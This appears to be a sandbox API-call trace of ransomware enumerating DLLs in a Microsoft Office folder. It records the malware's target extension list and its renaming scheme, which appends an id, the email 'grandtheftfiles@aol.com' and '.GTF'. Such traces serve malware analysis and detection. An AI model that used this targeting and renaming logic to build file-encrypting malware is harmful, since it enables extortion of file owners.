	[0166.422] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.422] lstrlenW (lpString=".pdf") returned 4
	[0166.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString=".xls") returned 4
	[0166.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString=".xlsx") returned 5
	[0166.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.422] lstrlenW (lpString=".ppt") returned 4
	[0166.422] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.422] lstrlenW (lpString=".zip") returned 4
	[0166.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString=".rar") returned 4
	[0166.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.422] lstrlenW (lpString=".bz2") returned 4
	[0166.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.422] lstrlenW (lpString=".7z") returned 3
	[0166.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".dbf") returned 4
	[0166.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".1cd") returned 4
	[0166.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".jpg") returned 4
	[0166.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".doc") returned 4
	[0166.423] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString=".docx") returned 5
	[0166.423] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.423] lstrlenW (lpString=".pdf") returned 4
	[0166.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString=".xls") returned 4
	[0166.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString=".xlsx") returned 5
	[0166.423] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.423] lstrlenW (lpString=".ppt") returned 4
	[0166.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".zip") returned 4
	[0166.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString=".rar") returned 4
	[0166.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.423] lstrlenW (lpString=".bz2") returned 4
	[0166.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.423] lstrlenW (lpString=".7z") returned 3
	[0166.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.423] lstrlenW (lpString=".dbf") returned 4
	[0166.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.424] lstrlenW (lpString=".1cd") returned 4
	[0166.424] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0166.424] lstrlenW (lpString=".jpg") returned 4
	[0166.424] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.424] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.424] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0166.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.425] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19648) returned 1
	[0166.425] CloseHandle (hObject=0x42c) returned 1
	[0166.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0166.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.425] lstrlenW (lpString=".doc") returned 4
	[0166.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".docx") returned 5
	[0166.426] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.426] lstrlenW (lpString=".pdf") returned 4
	[0166.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".xls") returned 4
	[0166.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".xlsx") returned 5
	[0166.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.426] lstrlenW (lpString=".ppt") returned 4
	[0166.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString=".zip") returned 4
	[0166.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".rar") returned 4
	[0166.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".bz2") returned 4
	[0166.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.426] lstrlenW (lpString=".7z") returned 3
	[0166.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString=".dbf") returned 4
	[0166.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString=".1cd") returned 4
	[0166.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString=".jpg") returned 4
	[0166.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.426] lstrlenW (lpString=".doc") returned 4
	[0166.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.426] lstrlenW (lpString=".docx") returned 5
	[0166.426] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.426] lstrlenW (lpString=".pdf") returned 4
	[0166.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.427] lstrlenW (lpString=".xls") returned 4
	[0166.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.427] lstrlenW (lpString=".xlsx") returned 5
	[0166.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.427] lstrlenW (lpString=".ppt") returned 4
	[0166.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.427] lstrlenW (lpString=".zip") returned 4
	[0166.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.427] lstrlenW (lpString=".rar") returned 4
	[0166.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.427] lstrlenW (lpString=".bz2") returned 4
	[0166.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.427] lstrlenW (lpString=".7z") returned 3
	[0166.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.427] lstrlenW (lpString=".dbf") returned 4
	[0166.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.427] lstrlenW (lpString=".1cd") returned 4
	[0166.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0166.427] lstrlenW (lpString=".jpg") returned 4
	[0166.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.427] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.427] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0166.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.428] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=22720) returned 1
	[0166.428] CloseHandle (hObject=0x42c) returned 1
	[0166.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220
	[0166.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.428] lstrlenW (lpString=".doc") returned 4
	[0166.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.428] lstrlenW (lpString=".docx") returned 5
	[0166.428] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.428] lstrlenW (lpString=".pdf") returned 4
	[0166.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.428] lstrlenW (lpString=".xls") returned 4
	[0166.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".xlsx") returned 5
	[0166.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.429] lstrlenW (lpString=".ppt") returned 4
	[0166.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString=".zip") returned 4
	[0166.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".rar") returned 4
	[0166.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".bz2") returned 4
	[0166.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.429] lstrlenW (lpString=".7z") returned 3
	[0166.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString=".dbf") returned 4
	[0166.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString=".1cd") returned 4
	[0166.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString=".jpg") returned 4
	[0166.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.429] lstrlenW (lpString=".doc") returned 4
	[0166.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".docx") returned 5
	[0166.429] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.429] lstrlenW (lpString=".pdf") returned 4
	[0166.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".xls") returned 4
	[0166.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.429] lstrlenW (lpString=".xlsx") returned 5
	[0166.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.429] lstrlenW (lpString=".ppt") returned 4
	[0166.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.430] lstrlenW (lpString=".zip") returned 4
	[0166.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.430] lstrlenW (lpString=".rar") returned 4
	[0166.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.430] lstrlenW (lpString=".bz2") returned 4
	[0166.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.430] lstrlenW (lpString=".7z") returned 3
	[0166.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.430] lstrlenW (lpString=".dbf") returned 4
	[0166.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.430] lstrlenW (lpString=".1cd") returned 4
	[0166.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0166.430] lstrlenW (lpString=".jpg") returned 4
	[0166.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.430] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.430] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0166.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.431] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19136) returned 1
	[0166.431] CloseHandle (hObject=0x42c) returned 1
	[0166.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0166.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString=".doc") returned 4
	[0166.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString=".docx") returned 5
	[0166.432] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.432] lstrlenW (lpString=".pdf") returned 4
	[0166.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString=".xls") returned 4
	[0166.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString=".xlsx") returned 5
	[0166.432] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.432] lstrlenW (lpString=".ppt") returned 4
	[0166.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString=".zip") returned 4
	[0166.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString=".rar") returned 4
	[0166.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString=".bz2") returned 4
	[0166.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.432] lstrlenW (lpString=".7z") returned 3
	[0166.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString=".dbf") returned 4
	[0166.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString=".1cd") returned 4
	[0166.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.432] lstrlenW (lpString=".jpg") returned 4
	[0166.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString=".doc") returned 4
	[0166.433] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString=".docx") returned 5
	[0166.433] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.433] lstrlenW (lpString=".pdf") returned 4
	[0166.433] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString=".xls") returned 4
	[0166.433] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString=".xlsx") returned 5
	[0166.433] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.433] lstrlenW (lpString=".ppt") returned 4
	[0166.433] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString=".zip") returned 4
	[0166.433] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString=".rar") returned 4
	[0166.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.433] lstrlenW (lpString=".bz2") returned 4
	[0166.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.433] lstrlenW (lpString=".7z") returned 3
	[0166.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString=".dbf") returned 4
	[0166.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString=".1cd") returned 4
	[0166.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0166.433] lstrlenW (lpString=".jpg") returned 4
	[0166.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.433] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.433] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0166.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.434] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20672) returned 1
	[0166.434] CloseHandle (hObject=0x42c) returned 1
	[0166.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220
	[0166.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0166.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0166.434] lstrlenW (lpString=".doc") returned 4
	[0166.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString=".docx") returned 5
	[0166.435] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.435] lstrlenW (lpString=".pdf") returned 4
	[0166.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString=".xls") returned 4
	[0166.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString=".xlsx") returned 5
	[0166.435] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.435] lstrlenW (lpString=".ppt") returned 4
	[0166.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0166.435] lstrlenW (lpString=".zip") returned 4
	[0166.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString=".rar") returned 4
	[0166.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.435] lstrlenW (lpString=".bz2") returned 4
	[0166.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.435] lstrlenW (lpString=".7z") returned 3
